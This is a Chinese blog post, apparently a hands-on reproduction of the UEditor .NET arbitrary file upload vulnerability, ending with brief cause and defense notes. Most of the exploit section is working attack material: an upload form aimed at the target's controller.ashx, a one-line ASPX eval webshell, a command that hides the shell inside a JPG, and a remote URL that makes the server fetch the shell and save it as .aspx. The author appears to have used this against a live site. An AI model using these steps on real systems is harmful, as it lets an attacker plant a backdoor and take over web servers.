当前位置:网站首页>UEditor .Net版本任意文件上传漏洞复现
UEditor .Net版本任意文件上传漏洞复现
2022-07-02 06:23:00 【徐记荣】
目录
漏洞背景
UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器
漏洞影响
该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。
漏洞利用
首先准备一个html文件用来做post提交
<form action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit"/>
</form>
action处填写网站controller.ashx
的路径
另外:enctype="application/x-www-form-urlencoded"什么意思?
打开html后如下
这个时候我们需要一台服务器用来放图片木马,服务器可以去阿里云、华为云等申请免费的
我们准备一张2.jpg
的图片跟一个小马3.aspx
,小马代码如下
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
用cmd
命令合成图片木马
copy 2.jpg/b + 3.aspx/a 1.jpg
我们把此木马上传到我们的服务器,记住服务器图片路径
在之前的shell addr
里填写如下参数
http://x.x.x.x/1.jpg?.aspx
http://x.x.x.x/1.jpg
是我们服务器的地址后面跟.aspx
以生成aspx文件,提交后页面如下
按理来说我们上传的文件路径应该如下
http://www.xxx.com/ueditor/net/upload/2206/2206-63790xxxxxxx0006134716.aspx
但链接了下不行,后来知道是服务器源码被改了
这里路径是碰巧猜到的,正常应该是带前缀的
这里给去了,所以木马路径应该是
http://www.xxx.com/upload/2206/2206-63790xxxxxxx0006134716.aspx
我发现服务器已经被人入侵了,且留下了后门,我猜测是之前入侵的人改的源码
漏洞分析
UEditor在抓取远程数据源的时,会进入"catchimage"分支
漏洞的成因是在获取图片资源时仅检查了ContentType,导致可以绕过达到任意文件上传。
java不会啊,没法分析源码,等我学习完后再补充吧
防御措施
1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码。 2.使用各类WAF软件,防止攻击者上传恶意文件。 3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。边栏推荐
- PgSQL learning notes
- Latex error: the font size command \normalsize is not defined problem solved
- Kotlin - 验证时间格式是否是 yyyy-MM-dd HH:mm:ss
- Latest CUDA environment configuration (win10 + CUDA 11.6 + vs2019)
- Kotlin - verify whether the time format is yyyy MM DD hh:mm:ss
- Sqli labs customs clearance summary-page3
- Storage space modifier in CUDA
- Shardingsphere JDBC
- In depth study of JVM bottom layer (IV): class file structure
- 如何调试微信内置浏览器应用(企业号、公众号、订阅号)
猜你喜欢
查询GPU时无进程运行,但是显存却被占用了
Explanation and application of annotation and reflection
Win10: add or delete boot items, and add user-defined boot files to boot items
Cve - 2015 - 1635 (ms15 - 034) réplication de la vulnérabilité d'exécution de code à distance
【文献阅读与想法笔记13】 Unprocessing Images for Learned Raw Denoising
qq邮箱接收不到jenkins构建后使用email extension 发送的邮件(timestamp 或 auth.......)
How to try catch statements that return promise objects in JS
CTF three count
CVE-2015-1635(MS15-034 )遠程代碼執行漏洞複現
In depth study of JVM bottom layer (V): class loading mechanism
随机推荐
Cve - 2015 - 1635 (ms15 - 034) réplication de la vulnérabilité d'exécution de code à distance
20210306转载如何使TextEdit有背景图片
Kotlin - verify whether the time format is yyyy MM DD hh:mm:ss
Pytest (2) mark function
Thread hierarchy in CUDA
Functions of tensorrt
20201025 visual studio2019 qt5.14 use of signal and slot functions
The table component specifies the concatenation parallel method
PIP install
【文献阅读与想法笔记13】 Unprocessing Images for Learned Raw Denoising
Huawei mindspire open source internship machine test questions
Loops in tensorrt
Warp matrix functions in CUDA
js判断数组中对象是否存在某个值
ZZQ的博客目录--更新于20210601
Fe - wechat applet - Bluetooth ble development research and use
js创建一个自定义json数组
selenium+msedgedriver+edge浏览器安装驱动的坑
Fe - weex uses a simple encapsulated data loading plug-in as the global loading method
蚂蚁集团g6初探